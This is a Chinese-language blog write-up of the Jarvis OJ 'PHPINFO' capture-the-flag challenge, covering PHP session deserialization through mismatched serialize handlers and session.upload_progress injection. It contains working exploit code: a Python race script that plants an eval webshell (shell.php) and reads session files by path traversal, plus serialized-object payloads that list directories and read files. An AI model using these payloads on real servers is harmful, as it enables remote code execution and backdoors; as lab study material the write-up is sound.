HacKerQWQ的博客空间

php反序列化漏洞及upload_progress_sessions

Word count: 1.1kReading time: 5 min
2020/08/18 Share

Jarvis-PHPINFO源码+题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

分析:这里明显需要控制mdzz参数,但是唯一输入的phpinfo参数做不到这一点,此时注意到第二行的ini_set('session.serialize_handler','php'),php大于5.5.4的版本都默认使用php_serialize规则,而这里特意使用了php规则,序列化与反序列化的处理器不同会导致反序列化漏洞

反序列化漏洞+上传进度支持漏洞

反序列化漏洞

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4) 经过 serialize() 函数反序列处理的数组

通过ini_set(‘session.serialize_handler’,’php’)来设置处理器

因此假如我们用默认的php_serialize处理器进行序列化并且在前面加上”|”处理,再用php处理器进行反序列化,我们就可以构造任意的值

例子:
传入session的格式

1
$_SESSION['ryat'] = 'a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}'

如果php_serialize序列化再用php反序列化,那么反序列化后的数据就会变成:

1
2
3
4
5
6
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}

可以看到,通过注入|字符伪造了对象的序列化数据,成功实例化了 stdClass 对象

接下来就需要一个写入数据的地方

上传进度支持(Upload progress in sessions)

原理:https://www.freebuf.com/news/202819.html

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.33.6.145/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session。

这里开启了session.upload_progress.enabled,并且知道了session.uplpad_progress.name因此可以构造一组相同名字的session.uplpad_progress.name,然后再上传另一组我们自己构造的paylaod,这样就可以注入我们自己的OowoO对象,在通过反序列化漏洞,这样就可以控制$mdzz参数了

解题

构造一组用于post的数据,这里选择file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>

<html>

<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>

然后构造用php_serialize处理器(默认就是php_serialize)处理的OowoO对象

1
2
3
4
5
6
7
8
9
<?php
ini_set("session.serialize_handler","php_serialize");
session_status();
class OowoO
{
public $mdzz = 'print_r($_SESSION)';
}
$m = new OowoO();
echo serialize($m);

注意这里要加上cookie,不然就一直成功不了(血的教训…)

结果:

可以看到这里测试成功,就可以构造OowoO对象查看当前目录的文件了

1
2
3
4
5
6
7
8
9
<?php
ini_set("session.serialize_handler","php_serialize");
session_status();
class OowoO
{
public $mdzz = 'print_r(scandir(dirname(__FILE__)))';
}
$m = new OowoO();
echo serialize($m);

结果:

查看Here_1s_7he_fl4g_buT_You_Cannot_see.php文件,这里需要注意的是file_get_contents()函数需要绝对路径,这时想到phpinfo.php里面有路径,可以搜索DOCUMENT_ROOT

看到路径是/opt/lampp/htdocs因此我们下一步就可以查看flag文件了

1
2
3
4
5
6
7
8
9
<?php
ini_set("session.serialize_handler","php_serialize");
session_status();
class OowoO
{
public $mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php';
}
$m = new OowoO();
echo serialize($m);

参考链接

  1. PHP可以告诉我什么
  2. 从session角度学习反序列化
  3. PHP_UPLOAD_PROGRESS利用
CATALOG
  1. 1. Jarvis-PHPINFO源码+题目分析
  2. 2. 反序列化漏洞+上传进度支持漏洞
    1. 2.1. 反序列化漏洞
    2. 2.2. 上传进度支持(Upload progress in sessions)
  3. 3. 解题
  4. 4. 参考链接